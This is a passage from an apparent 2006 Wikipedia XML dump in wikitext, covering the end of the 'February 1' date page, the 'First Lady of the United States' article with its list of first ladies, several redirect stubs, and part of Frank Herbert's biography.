*[[1950]] - [[Mike Campbell]], American guitarist and producer
*[[1954]] - [[Bill Mumy]], American actor and musician
*[[1956]] - [[Exene Cervenka]], American musician ([[X (US band)|X]])
*[[1961]] - [[Volker Fried]], German field hockey player  
*[[1962]] - [[José Luis Cuciuffo]], Argentinian footballer =)
*1962 - [[Tomoyasu Hotei]], Japanese guitarist
*[[1965]] - [[Sherilyn Fenn]], American actress
*1965 - [[Brandon Lee]], American actor (d. [[1993]])
*1965 - [[Princess Stéphanie of Monaco]]
*[[1966]] - [[Michelle Akers]], American soccer player
*1966 - [[Rob Lee]], English footballer
*[[1968]] - [[Lisa Marie Presley]], American singer and actress
*1968 - [[Pauly Shore]], American comedian
*1968 - [[Mark Recchi]], Canadian [[ice hockey]] player
*[[1969]] - [[Gabriel Batistuta]], Argentine footballer
*1969 - [[Joshua Redman]], American musician
*1969 - [[Brian Krause]], American actor
*[[1971]] - [[Yoshi DeHerrera]], American television personality
*1971 - [[Jill Kelly]], American pornographic actress
*1971 - [[Ron Welty]], American musician ([[The Offspring]])
*1971 - [[Zlatko Zahovic|Zlatko Zahovi&amp;#269;]], Slovenian footballer
*[[1974]] - [[David Carter]], Seneschalstown footballer (retired)
*[[1975]] - [[Big Boi]], American musician ([[Outkast]])
*[[1977]] - [[Kevin Kilbane]], Irish footballer
*[[1984]] - [[Darren Fletcher]], Scottish footballer
*[[1985]] - [[Dean Shiels]], Northern Irish footballer
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1248]] - [[Henry II, Duke of Brabant]] (b. [[1207]])
*[[1328]] - King [[Charles IV of France]] (b. [[1294]])
*[[1542]] - [[Girolamo Aleandro]], Italian Catholic cardinal (b. [[1480]])
*[[1563]] - [[Menas of Ethiopia|Menas]], [[Emperor of Ethiopia]] (died of fever)
*[[1590]] - [[Lawrence Humphrey]], English clergyman and educator
*[[1691]] - [[Pope Alexander VIII]] (b. [[1610]])
*[[1718]] - [[Charles Talbot, 1st Duke of Shrewsbury]], English politician (b. [[1660]])
*[[1733]] - King [[Augustus II of Poland]] (b. [[1670]])
*[[1734]] - [[John Floyer]], English physician and writer (b. [[1649]])
*[[1743]] - [[Giuseppe Ottavio Pitoni]], Italian composer (b. [[1657]])
*[[1761]] - [[Pierre François Xavier de Charlevoix]], French historian (b. [[1682]])
*[[1768]] - [[Sir Robert Rich, 4th Baronet]], British cavalry officer (b. [[1685]])
*[[1793]] - [[William Wildman Shute Barrington]], British statesman (b. [[1717]])
*[[1851]] - [[Mary Shelley]], English author (b. [[1797]])
*[[1893]] - [[George Henry Sanderson]], Mayor of San Francisco (b. [[1824]])
*[[1897]] - [[Constantin von Ettingshausen]], Austrian geologist (b. [[1826]])
*[[1903]] - [[George Gabriel Stokes]], Irish physicist (b. [[1819]])
*[[1908]] - King [[Carlos I of Portugal]] (b. [[1863]])
*[[1928]] - [[Hughie Jennings]], baseball player (b. [[1869]])
*[[1944]] - [[Piet Mondriaan]], Dutch painter (b. [[1872]])
*[[1957]] - [[Friedrich Paulus]], German general (b. [[1890]])
*[[1958]] - [[Clinton Davisson]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1888]])
*[[1966]] - [[Hedda Hopper]], American gossip columnist (b. [[1885]])
*[[1966]] - [[Buster Keaton]], American actor (b. [[1895]])
*[[1970]] - [[Alfréd Rényi]], Hungarian mathematician (b. [[1921]])
*[[1976]] - [[Werner Heisenberg]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1901]])
*[[1976]] - [[George Whipple]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1878]])
*[[1979]] - [[Abdi İpekçi]], Turkish Journalist (b. [[1929]])
*[[1981]] - [[Donald Wills Douglas, Sr.]], American aircraft manufacturer (b. [[1892]])
*[[1981]] - [[Geirr Tveitt]], Norwegian composer (b. [[1908]])
*[[1986]] - [[Alva Myrdal]], Swedish politician, diplomat, and writer, recipient of the [[Nobel Peace Prize]] (b. [[1902]])
*[[1988]] - [[Heather O'Rourke]], American actress (b. [[1975]])
*[[1989]] - [[Elaine de Kooning]], American artist (b. [[1918]])
*[[1997]] - [[Herb Caen]], American newspaper columnist (b. [[1916]])
*[[1999]] - [[Paul Mellon]], American philanthropist (b. [[1907]])
*[[2002]] - [[Hildegard Knef]], German actress, singer, and writer (b. [[1925]])
*[[2003]] - The crew of the [[Space Shuttle Columbia]], astronauts:
**[[Michael P. Anderson]] (b. [[1959]])
**[[David M. Brown|David Brown]] (b. [[1956]])
**[[Kalpana Chawla]] (b. [[1961]])
**[[Laurel Clark]] (b. [[1961]])
**[[Rick D. Husband]] (b. [[1957]])
**[[William McCool|Willie McCool]] (b. [[1961]])
**[[Ilan Ramon]] (b. [[1954]])
*[[2003]] - [[Mongo Santamaria]], Cuban percussionist and band leader (b. [[1922]])
*[[2005]] - [[John Vernon]], Canadian actor (b. [[1932]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[St. Brigid]] of [[Kildare]] - one of the three [[patron saints]] of [[Ireland]], the others being [[St. Patrick]] and [[Columba|St. Columcille]].
*[[Imbolc]] - the first day of Spring in [[Ireland]] ([[Irish Calendar]]), one of the eight solar holidays in the [[Wheel of the Year]]. 
*The start of [[Black History Month]] in the [[United States]].

==Fiction==
* In [[Roald Dahl]]'s ''[[Willy Wonka and the Chocolate Factory]],'' the fictional character Willy Wonka gives an unprecedented tour of his chocolate factory on February 1 (year unspecified).

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=01 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060201.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/1 BBC: On This Day]

----
[[January 31]] - [[February 2]] - [[January 1]] - [[March 1]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 01]]
[[Category:Days]]

[[af:1 Februarie]]
[[ar:1 فبراير]]
[[an:1 de frebero]]
[[ast:1 de febreru]]
[[bg:1 февруари]]
[[be:1 лютага]]
[[bs:1. februar]]
[[ca:1 de febrer]]
[[ceb:Pebrero 1]]
[[cv:Нарăс, 1]]
[[co:1 di frivaghju]]
[[cs:1. únor]]
[[cy:1 Chwefror]]
[[da:1. februar]]
[[de:1. Februar]]
[[et:1. veebruar]]
[[el:1 Φεβρουαρίου]]
[[es:1 de febrero]]
[[eo:1-a de februaro]]
[[eu:Otsailaren 1]]
[[fo:1. februar]]
[[fr:1er février]]
[[fy:1 febrewaris]]
[[ga:1 Feabhra]]
[[gl:1 de febreiro]]
[[ko:2월 1일]]
[[hr:1. veljače]]
[[io:1 di februaro]]
[[ilo:Febrero 1]]
[[id:1 Februari]]
[[ia:1 de februario]]
[[ie:1 februar]]
[[is:1. febrúar]]
[[it:1 febbraio]]
[[he:1 בפברואר]]
[[jv:1 Februari]]
[[ka:1 თებერვალი]]
[[csb:1 gromicznika]]
[[ku:1'ê reşemiyê]]
[[lt:Vasario 1]]
[[lb:1. Februar]]
[[li:1 februari]]
[[hu:Február 1]]
[[mk:1 февруари]]
[[ml:ഫെബ്രുവരി 1]]
[[mr:फेब्रुवारी १]]
[[ms:1 Februari]]
[[nap:1 'e frevaro]]
[[nl:1 februari]]
[[ja:2月1日]]
[[no:1. februar]]
[[nn:1. februar]]
[[oc:1 de febrièr]]
[[os:1 февралы]]
[[pl:1 lutego]]
[[pt:1 de Fevereiro]]
[[ro:1 februarie]]
[[ru:1 февраля]]
[[se:Guovvamánu 1.]]
[[sco:1 Februar]]
[[sq:1 Shkurt]]
[[scn:1 di frivaru]]
[[simple:February 1]]
[[sk:1. február]]
[[sl:1. februar]]
[[sr:1. фебруар]]
[[fi:1. helmikuuta]]
[[sv:1 februari]]
[[tl:Pebrero 1]]
[[tt:1. Febräl]]
[[te:ఫిబ్రవరి 1]]
[[th:1 กุมภาพันธ์]]
[[vi:1 tháng 2]]
[[tr:1 Şubat]]
[[uk:1 лютого]]
[[wa:1î d' fevrî]]
[[war:Pebrero 1]]
[[zh:2月1日]]
[[pam:Pebreru 1]]</text>
    </revision>
  </page>
  <page>
    <title>First Lady of the United States</title>
    <id>10847</id>
    <revision>
      <id>42042343</id>
      <timestamp>2006-03-03T11:50:52Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Martha_Washington.jpg|175px|thumb|right|[[Martha Washington]], Original First Lady of the United States.]]
[[Image:Laurabush.jpeg|175px|thumb|right|[[Laura Bush]], current First Lady of the United States (2001-present).]]

'''''First Lady of the United States''''' is the unofficial title of the hostess of the [[White House]]. Because this position is traditionally filled by the wife of the [[President of the United States]], the title is sometimes taken to apply only to the wife of a sitting president. The current first lady is [[Laura Bush]]. Some of the more notable former first ladies include [[Martha Washington]], [[Dolley Madison]], [[Jacqueline Kennedy Onassis|Jacqueline Kennedy]], [[Eleanor Roosevelt]], [[Rosalynn Carter]], [[Nancy Reagan]], and [[Hillary Rodham Clinton]].

Several women, other than wives of presidents, have served as first lady. This situation has arisen due to the president being a bachelor or widower, or when the wife of the president is unable or unwilling to fulfill the duties of the first lady herself. In these cases, the position has been filled by a female relative or friend of the president.

==Origins of the title==
Although the words ''[[first lady]]'' had previously been used in combination before, their use as a title to describe the spouse or hostess of an executive was initially an American invention.

In the early days of the republic, there was no generally agreed upon title for the wife of the president. Many early first ladies expressed their own preference for how they were addressed, including the use of such titles as &quot;Lady&quot;, &quot;Mrs. President&quot;, &quot;Queen&quot;, and &quot;Mrs. Presidentress&quot;.  Martha Washington was often referred to as &quot;Lady Washington.&quot;

According to legend, [[Dolley Madison]] was referred to as &quot;first lady&quot; in [[1849]] at her [[funeral]] in a [[eulogy]] delivered by President [[Zachary Taylor]]. However, no written record of this eulogy exists today.

Sometime between 1849 and 1877, the title began being used in social circles in [[Washington D.C.]]. The oldest known written use of the title is from the [[November 3]] [[1863]] diary entry of [[William Howard Russell]], when he referred to ''gossip about ‘the first Lady in the Land’''.

The title first gained nationwide recognition in [[1877]], when newspaper journalist [[Mary Clemmer Ames]] referred to [[Lucy Webb Hayes]] as &quot;the first lady of the land&quot; while reporting on the inauguration of [[Rutherford B. Hayes]]. Hayes was a tremendously popular first lady, and the frequent reporting on her activities helped spread use of the title outside Washington.

A popular [[1911]] comedic play by playwright [[Charles Nirdlinger]] titled ''&quot;The First Lady in the Land&quot;'' cemented use of the title by the general public, and it first entered the dictionary in [[1934]].

Use of the title to refer to the wife or hostess of a chief executive later spread from the United States to other nations, often without translation of &quot;first lady&quot; into the native language of those nations.

In government jargon &quot;First Lady of the United States&quot; is sometimes acronymized as &quot;FLOTUS,&quot; similar to the President of the United States being referred to as &quot;POTUS&quot;.

==Role of the First Lady==
The first lady is not an elected position, carries no official duties, and brings no salary. Nonetheless, she attends many official ceremonies and functions of state either along with or in place of the president. The first lady also frequently participates in [[humanitarian]] and charitable work. Furthermore, many have taken an active role in campaigning for the president with whom they are associated. Hillary Rodham Clinton took the role one step further when she was, for a time, given a formal job in the Clinton administration to develop reforms to the health care system.

The term is also used to describe the wife of other government chief executives or a woman who has acted as a leading symbol for some activity, for example referring to [[Maria Shriver]] as the &quot;First Lady of California&quot;, or [[Mary J Blige]] as the &quot;First Lady of Soul&quot;.

The wife of the [[Vice President of the United States]] is sometimes referred to as the [[Second Lady of the United States]], however this title is less common than first lady. In Michigan, the Governor [[Jennifer Granholm]]'s husband is referred to as First Gentleman.

If the United States were to have a female president, there would be no First Lady ''per se.'' It is presumed that the husband of a female President would act as an analogous &quot;First Gentleman.&quot; This is the situation portrayed in the fictitious television series ''[[Commander in Chief (television)|Commander In Chief]]'', in which President [[Mackenzie Allen]]'s husband Rod Calloway is titled as &quot;First Gentleman,&quot; but President Allen's mother ultimately joins the [[First Family]] and acts as the official hostess at the &quot;White House.&quot;

==First Ladies of the United States==
The following women have been recognized by ''The National First Ladies' Library'' as &quot;First Lady&quot;:

{| border=1 style=&quot;border-collapse: collapse;&quot;
|-bgcolor=cccccc
! First Lady 
! Relation to President
! From
! To
|-
| [[Martha Dandridge Custis Washington]]
| wife of [[George Washington]]
| April 30, 1789
| March 4, 1797
|-
| [[Abigail Smith Adams]]
| wife of [[John Adams]]
| March 4, 1797
| March 4, 1801
|-
| [[Martha Jefferson Randolph]]*
| daughter of widower [[Thomas Jefferson]]
| March 4, 1801
| March 4, 1809
|-
| [[Dolley Madison]]*
| friend of widower [[Thomas Jefferson]]
| March 4, 1801
| March 4, 1809
|-
| [[Dolley Madison]]
| wife of [[James Madison]]
| March 4, 1809
| March 4, 1817
|-
| [[Elizabeth Kortright Monroe]]
| wife of [[James Monroe]]
| March 4, 1817
| March 4, 1825
|-
| [[Louisa Catherine Johnson Adams]]
| wife of [[John Quincy Adams]]
| March 4, 1825
| March 4, 1829
|-
| [[Emily Donelson]]*
| niece of widower [[Andrew Jackson]]
| March 4, 1829
| December 19, 1836
|-
| [[Sarah Yorke Jackson]]*
| daughter-in-law of widower [[Andrew Jackson]]
| November 26, 1834
| March 4, 1837
|-
| [[Angelica Van Buren]]*
| daughter-in-law of widower [[Martin Van Buren]]
| March 4, 1837 
| March 4, 1841
|-
| [[Anna Tuthill Symmes Harrison]]
| absent wife of [[William Henry Harrison]]
| March 4, 1841
| April 4, 1841
|-
| [[Jane Irwin Harrison]]*
| daughter-in-law of [[William Henry Harrison]]
| March 4, 1841
| April 4, 1841
|-
| [[Letitia Christian Tyler]]
| first wife of [[John Tyler]]
| April 4, 1841
| September 10, 1842
|-
| [[Priscilla Cooper Tyler]]*
| daughter-in-law of widower [[John Tyler]]
| September 10, 1842
| June 26, 1844
|-
| [[Julia Gardiner Tyler]]
| second wife of [[John Tyler]]
| June 26, 1844
| March 4, 1845
|-
| [[Sarah Childress Polk]]
| wife of [[James K. Polk]]
| March 4, 1845
| March 4, 1849
|-
| [[Margaret Mackall Smith Taylor]]
| wife of [[Zachary Taylor]]
| March 4, 1849
| July 9, 1850
|-
| [[Abigail Powers Fillmore]]
| wife of [[Millard Fillmore]]
| July 9, 1850
| March 4, 1853
|-
| [[Jane Means Appleton Pierce]]
| wife of [[Franklin Pierce]]
| March 4, 1853
| March 4, 1857
|-
| [[Harriet Lane]]*
| niece of bachelor [[James Buchanan]]
| March 4, 1857
| March 4, 1861
|-
| [[Mary Todd Lincoln]]
| wife of [[Abraham Lincoln]]
| March 4, 1861
| April 15, 1865
|-
| [[Eliza McCardle Johnson]]
| wife of [[Andrew Johnson]]
| April 15, 1865
| March 4, 1869
|-
| [[Julia Dent Grant]]
| wife of [[Ulysses S. Grant]]
| March 4, 1869
| March 4, 1877
|-
| [[Lucy Ware Webb Hayes]]
| wife of [[Rutherford B. Hayes]]
| March 4, 1877
| March 4, 1881
|-
| [[Lucretia Rudolph Garfield]]
| wife of [[James A. Garfield]]
| March 4, 1881
| September 19, 1881
|-
| [[Mary McElroy]]*
| sister of widower [[Chester A. Arthur]]
| September 19, 1881
| March 4, 1885
|-
| [[Rose Cleveland]]*
| sister of bachelor [[Grover Cleveland]]
| March 4, 1885
| June 2, 1886
|-
| [[Frances Folsom Cleveland]]
| wife of [[Grover Cleveland]]
| June 2, 1886
| March 4, 1889
|-
| [[Caroline Lavinia Scott Harrison]]
| wife of [[Benjamin Harrison]]
| March 4, 1889
| October 25, 1892
|-
| [[Mary Harrison McKee]]*
| daughter of widower [[Benjamin Harrison]]
| October 25, 1892
| March 4, 1893
|-
| [[Frances Folsom Cleveland]]
| wife of [[Grover Cleveland]]
| March 4, 1893
| March 4, 1897
|-
| [[Ida Saxton McKinley]]
| wife of [[William McKinley]]
| March 4, 1897
| September 14, 1901
|-
| [[Edith Kermit Carow Roosevelt]]
| wife of [[Theodore Roosevelt]]
| September 14, 1901
| March 4, 1909
|-
| [[Helen Herron Taft]]
| wife of [[William Howard Taft]]
| March 4, 1909
| March 4, 1913
|-
| [[Ellen Louise Axson Wilson]]
| first wife of [[Woodrow Wilson]]
| March 4, 1913
| August 6, 1914
|-
| [[Edith Bolling Galt Wilson]]
| second wife of [[Woodrow Wilson]]
| December 18, 1915
| March 4, 1921
|-
| [[Florence Kling Harding]]
| wife of [[Warren G. Harding]]
| March 4, 1921
| August 3, 1923
|-
| [[Grace Anna Goodhue Coolidge]]
| wife of [[Calvin Coolidge]]
| August 3, 1923
| March 4, 1929
|-
| [[Lou Henry Hoover]]
| wife of [[Herbert Hoover]]
| March 4, 1929
| March 4, 1933
|-
| [[Anna Eleanor Roosevelt]]
| wife of [[Franklin D. Roosevelt]]
| March 4, 1933
| April 12, 1945
|-
| [[Elizabeth Virginia Wallace Truman]]
| wife of [[Harry S. Truman]]
| April 12, 1945
| January 20, 1953
|-
| [[Mamie Eisenhower]]
| wife of [[Dwight D. Eisenhower]]
| January 20, 1953
| January 20, 1961
|-
| [[Jacqueline Kennedy]]
| wife of [[John F. Kennedy]]
| January 20, 1961
| November 22, 1963
|-
| [[Lady Bird Johnson|Claudia Taylor Johnson]]
| wife of [[Lyndon B. Johnson]]
| November 22, 1963
| January 20, 1969
|-
| [[Patricia Ryan Nixon]]
| wife of [[Richard Milhous Nixon]]
| January 20, 1969
| August 9, 1974
|-
| [[Betty Ford]]
| wife of [[Gerald R. Ford]]
| August 9, 1974
| January 20, 1977
|-
| [[Rosalynn Smith Carter]]
| wife of [[Jimmy Carter]]
| January 20, 1977
| January 20, 1981
|-
| [[Nancy Davis Reagan]]
| wife of [[Ronald Reagan]]
| January 20, 1981
| January 20, 1989
|-
| [[Barbara Pierce Bush]]
| wife of [[George H. W. Bush]]
| January 20, 1989
| January 20, 1993
|-
| [[Hillary Rodham Clinton]]
| wife of [[Bill Clinton]]
| [[January 20]][[1993]]
| [[January 20]][[2001]]
|-
| [[Laura Welch Bush]]
| wife of [[George W. Bush]]
| [[January 20]], [[2001]]
| [[Present]]
|-
|}

=== Non-spouse &quot;First Lady&quot; or &quot;White House hostess&quot; ===

The following women are known to have acted as hostess on behalf of the first lady when she was otherwise unable or unwilling:

{| border=1 style=&quot;border-collapse: collapse;&quot;
|-bgcolor=cccccc
! First Lady 
! Relation to President
|-
| [[Maria Jefferson Eppes]]
| daughter of widower [[Thomas Jefferson]]
|-
| [[Eliza Monroe Hay]]
| daughter of [[James Monroe]]
|-
| [[Letitia Tyler Semple]]
| daughter of widower [[John Tyler]]
|-
| [[Mary Elizabeth Bliss|Mary Elizabeth Taylor Bliss]]
| daughter of [[Zachary Taylor]]
|-
| [[Mary Abigail Fillmore]]
| daughter of [[Millard Fillmore]]
|-
| [[Abby Kent Means]]
| aunt of [[Jane Means Appleton Pierce]]
|-
| [[Martha Patterson|Martha Johnson Patterson]]
| daughter of [[Andrew Johnson]]
|-
| [[Jennie Hobart]]
| wife of [[William McKinley]]'s vice president, [[Garret Hobart]]
|-
| [[Helen Taft Manning]]
| daughter of [[William Howard Taft]]
|-
| [[Margaret Woodrow Wilson]]
| daughter of widower [[Woodrow Wilson]]
|-
| [[Helen Woodrow Bones]]
| cousin of widower [[Woodrow Wilson]]
|-
| [[Chelsea Clinton|Chelsea Victoria Clinton]]
| daughter of [[Bill Clinton]]
|-
|}

==See also==
* [[First Lady]] - Use of the title outside the United States.
* [[Second Lady of the United States]] - Wife of the Vice President of the United States.
* [[First Ladies National Historic Site]] - In [[Canton, Ohio]].

==External links==
* {{cite web
 | title = Office of the First Lady
 | url = http://www.whitehouse.gov/firstlady/
 | accessdate = October 7
 | accessyear = 2005
 }}
* {{cite web
 | title = First Lady's Gallery
 | work = The White House
 | url = http://www.whitehouse.gov/history/firstladies/
 | accessdate = October 7
 | accessyear = 2005
 }}
* {{cite web
 | title = The National First Ladies' Library
 | url = http://www.firstladies.org/
 | accessdate = October 7
 | accessyear = 2005
 }}

[[Category:Presidency of the United States]]
[[Category:First Ladies of the United States|*]]

[[de:First Lady]]
[[fr:Première dame des États-Unis]]
[[pt:Primeira-Dama dos Estados Unidos da América]]
[[sv:USA:s första dam]]</text>
    </revision>
  </page>
  <page>
    <title>Fallopian tubes</title>
    <id>10848</id>
    <revision>
      <id>15908639</id>
      <timestamp>2002-05-22T17:51:59Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[fallopian tube]]</comment>
      <text xml:space="preserve">#redirect [[fallopian tube]]</text>
    </revision>
  </page>
  <page>
    <title>Fantasy authors</title>
    <id>10849</id>
    <revision>
      <id>15908640</id>
      <timestamp>2002-10-10T10:05:10Z</timestamp>
      <contributor>
        <username>Khendon</username>
        <id>438</id>
      </contributor>
      <comment>Redirect to [[Fantasy author]] instead</comment>
      <text xml:space="preserve">#REDIRECT [[Fantasy author]]</text>
    </revision>
  </page>
  <page>
    <title>List of French proverbs</title>
    <id>10850</id>
    <revision>
      <id>19423110</id>
      <timestamp>2005-07-23T05:03:37Z</timestamp>
      <contributor>
        <username>Renata3</username>
        <id>320236</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#Redirect[[Wikiquote:French proverbs]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental Theorem of Algebra</title>
    <id>10851</id>
    <revision>
      <id>15908642</id>
      <timestamp>2002-05-05T14:52:03Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[fundamental theorem of algebra]]</comment>
      <text xml:space="preserve">#redirect [[fundamental theorem of algebra]]
 </text>
    </revision>
  </page>
  <page>
    <title>Frank Herbert</title>
    <id>10852</id>
    <revision>
      <id>42112532</id>
      <timestamp>2006-03-03T22:25:19Z</timestamp>
      <contributor>
        <ip>69.162.139.57</ip>
      </contributor>
      <comment>/* Continuation of the series */</comment>
      <text xml:space="preserve">[[Image:Frank Herbert.jpg|thumb|right|240px|Frank Herbert (1920 - 1986)]]
'''Frank Patrick Herbert''' ([[October 8]], [[1920]] &amp;ndash; [[February 11]], [[1986]]) was a critically and commercially successful American [[science fiction author]]. He is best known for the novel ''[[Dune (novel)|Dune]]'', and the five other novels in the series that followed it. The Dune saga dealt with themes such as human survival and [[evolution]], [[ecology]], and the intersection of [[religion]], [[politics]], and [[power (sociology)|power]], and is considered to be one of the greatest science fiction tales ever written, as well as an undeniable classic of literature in general.

== Biography ==
Frank Herbert was born in [[1920]] in [[Tacoma, Washington]]. He knew from an early age that he wanted to be a writer, and in [[1939]] he lied about his age in order to get his first [[newspaper]] job on the ''[[Glendale Star]]''.

There was a temporary hiatus to his writing career as he served in the [[United States Navy|U.S. Navy]] as a photographer during [[World War II]]. He married Flora Parkinson in [[1941]], but divorced her in [[1945]] after fathering a daughter. 

After the war he attended the [[University of Washington]], where he met Beverly Ann Stuart at a [[writing|creative writing]] class in [[1946]]. They were the only students in the class who had sold any work for publication&amp;mdash;Herbert had sold two pulp adventure stories to magazines, and Stuart had sold a story to ''Modern Romance'' magazine. They married in [[Seattle, Washington|Seattle]] on [[June 20]], [[1946]]. Their first son, [[Brian Herbert]], was born in [[1947]]. Frank Herbert did not graduate from college, according to Brian, because he only wanted to study what interested him and so didn't complete the required courses. 

After college he returned to journalism and worked at the ''[[Seattle Star]]'' and the ''[[Oregon Statesman]]''; he was also a writer and editor for the ''[[San Francisco Examiner|San Francisco Examiner's]]'' ''California Living'' magazine for a decade. 

Herbert began reading [[science fiction]] in the forties and in the 1950s began to write it, with short stories appearing in ''[[Startling Stories]]'' and other magazines. During the next decade he published nearly 20 short stories.

His career as a novelist began with the publication of ''[[The Dragon in the Sea]]'' in [[1955]], where he used the environment of a 21st-century submarine as a way to explore sanity and madness. The book predicted worldwide conflicts over [[petroleum|oil]] consumption and production. It was a critical success but not a major commercial one.

Herbert began researching ''Dune'' in [[1959]] and was able to devote himself more wholeheartedly to his writing career because his wife returned to work full time as an advertising writer for department stores, becoming the main breadwinner during the sixties.  Herbert later related in an interview with Willis E. McNeilly that the novel originated when he was supposed to do a magazine article on sand dunes in [[Florence, Oregon]], but he got too involved in it and ended up with far more raw material than needed for a single article. The article was never written, but it did serve as the seed for the ideas that led to ''Dune''.

After six years of research and writing, ''Dune'' was completed by [[1965]].  Far longer than commercial science fiction of the time was supposed to be, it was serialized in [[Analog (magazine)|Analog]] magazine in two separate parts, in 1963 and 1965.  It was then rejected by nearly twenty book publishers before finally being accepted.  One editor prophetically wrote back &quot;''I might be making the mistake of the decade, but...,''&quot; before rejecting the manuscript. But Chilton, a minor publishing house in Philadelphia, gave Herbert a $7500 advance, and ''Dune'' was soon a critical success. It won the [[Nebula Award]] for Best Novel in 1965 and shared the [[Hugo Award]] in [[1966]].  ''Dune'' was the first [[ecology|ecological]] science fiction novel, containing a multitude of big, inter-relating themes and multiple character viewpoints, a method that ran through all Herbert's mature work.

The book was not an instant best seller.  By [[1968]] Herbert had made $20,000 from it, far more than most science-fiction novels of the time were generating, but this was not enough to let him take up full-time writing. However, the publication of ''Dune'' did open doors for him. He was the ''[[Seattle Post-Intelligencer|Seattle Post-Intelligencer's]]'' education writer from [[1969]] to [[1972]] and lecturer in general and interdisciplinary studies at the University of Washington ([[1970]]&amp;ndash;2). He worked in [[Vietnam]] and [[Pakistan]] as social and ecological consultant in [[1972]]. In [[1973]] he was director-photographer of the television show ''The Tillers''.

{{QuoteSidebar|40%|#eeffff|right|Quotation|''A man is a fool not to put everything he has, at any given moment, into what he is creating. You're there now doing the thing on paper. You're not killing the goose, you're just producing an egg. So I don't worry about inspiration, or anything like that. It's a matter of just sitting down and working. I have never had the problem of a writing block. I've heard about it. I've felt reluctant to write on some days, for whole weeks, or sometimes even longer. I'd much rather go fishing. for example. or go sharpen pencils, or go swimming, or what not. But, later, coming back and reading what I have produced, I am unable to detect the difference between what came easily and when I had to sit down and say, &quot;Well, now it's writing time and now I'll write.&quot; There's no difference on paper between the two.''|Frank Herbert}}
By 1972 he was able to become a full-time writer and during the 1970s and 1980s he enjoyed considerable commercial success as an author. He lived between [[Hawaii]] and [[Washington]] state. During this time he wrote numerous books and pushed ecological and philosophical ideas. He continued his ''Dune'' saga, following it with ''[[Dune Messiah]]'', ''[[Children of Dune]]'' and ''[[God Emperor of Dune]]''. Other highlights were ''[[The Dosadi Experiment]]'', ''[[The Godmakers]]'', ''[[The White Plague]]'' and the books he wrote in partnership with [[Bill Ransom]]: ''[[The Jesus Incident]]'', ''[[The Lazarus Effect]]'' and ''[[The Ascension Factor]]''. 

But his change in fortune was shaded by tragedy. In [[1974]], Beverly underwent an operation for [[cancer]] that gave her ten more years of life, but adversely affected her health. She died on [[February 7]], [[1984]]. In his afterword to ''[[Chapterhouse Dune]]'', Herbert wrote a moving eulogy for his wife.

1984 was a tumultuous year in Herbert's life. In the same year that his wife died, his career took off with the release of [[David Lynch]]'s film version of ''Dune''. Despite high expectations, a big-budget production design and an A-list cast, the movie drew mostly poor reviews in the [[United States]]. However, despite a disappointing response in the USA, the film was a critical and commercial success in [[Europe]] and [[Japan]].  The same year Herbert published the fifth book in the Dune saga, ''[[Heretics of Dune]]''. Finally, following the death of Beverly, Herbert married Theresa Shackelford later in the year. 

In 1986 Herbert published  ''[[Chapterhouse Dune|Chapterhouse: Dune]]'', which tied up many of the saga's story threads. This was to be Herbert's final single work &amp;mdash; he died of [[pancreatic cancer]] on [[February 11]], [[1986]], in [[Madison, Wisconsin]], at the age of 65.

== Continuation of the series ==

In recent years, [[Brian Herbert]] (Frank's son) and  [[Kevin J. Anderson]] have begun adding to the [[Dune universe]], using notes left behind by Frank Herbert on both the history of the [[Dune universe]] before the events of ''Dune'' and the novel he had planned to follow ''Chapterhouse: Dune''. They are now preparing two post-Chapterhouse novels ([[Hunters of Dune]] and [[Sandworms of Dune]]) based on the &quot;Dune 7&quot; outline Frank Herbert left behind at his death.
See also [[Frank Herbert#Controversies|'Controversies']] below.

== Ideas and themes==
{{QuoteSidebar|40%|#eeffff|right|Quotation|
''I think science fiction does help, and it points in very interesting directions. It points in relativistic directions. It says that we have the imagination for these other opportunities, these other choices. We tend to tie ourselves down to limited choices. We say, &quot;Well, the only answer is....&quot; or, &quot;If you would just. . . .&quot; Whatever follows these two statements narrows the choices right there. It gets the vision right down close to the ground so that you don't see anything happening outside. Humans tend not to see over a long range. Now we are required, in these generations, to have a longer range view of what we inflict on the world around us. This is where, I think, science fiction is helping. I don't think that the mere writing of such a book as Brave New World or [[Nineteen Eighty-Four|1984]] prevents those things which are portrayed in those books from happening. But I do think they alert us to that possibility and make that possibility less likely. They make us aware that we may be going in that direction.''|Frank Herbert.}}
Frank Herbert used his science fiction novels to explore complex ideas involving [[philosophy]], [[religion]], [[psychology]], [[politics]] and [[ecology]], which have inspired many of his readers to become interested in these areas. The underlying thrust in Frank Herbert's work was his fascination with the question of human survival and [[evolution]].  Frank Herbert has attracted a fanatical fanbase, many of whom have tried to read everything Frank Herbert has written, fiction or non-fiction, and see Frank Herbert as something of a guru. Indeed such was the devotion of some of his readers that Frank Herbert was at times accused of trying to create a cult.

There are a number of key themes in Herbert's work:&lt;br&gt;
* A concern with [[Leadership]]. He especially explored the human tendency for human beings to follow charismatic leaders slavishly. He delved deeply into both the flaws and potentials of [[bureaucracy]] and [[government]].
* Herbert was probably the first science fiction author to popularise ideas about [[Ecology]] and [[Systems Thinking]]. He stressed the need for humans to think both systematically and long term. 
* The relationship between [[religion]], [[politics]] and [[power (sociology)|power]].
* Human survival and evolution: Herbert writes of the [[Fremen]], the [[Sardaukar]], and the [[The Dosadi Experiment|Dosadi]], who are molded by their terrible living conditions into dangerous super-races.
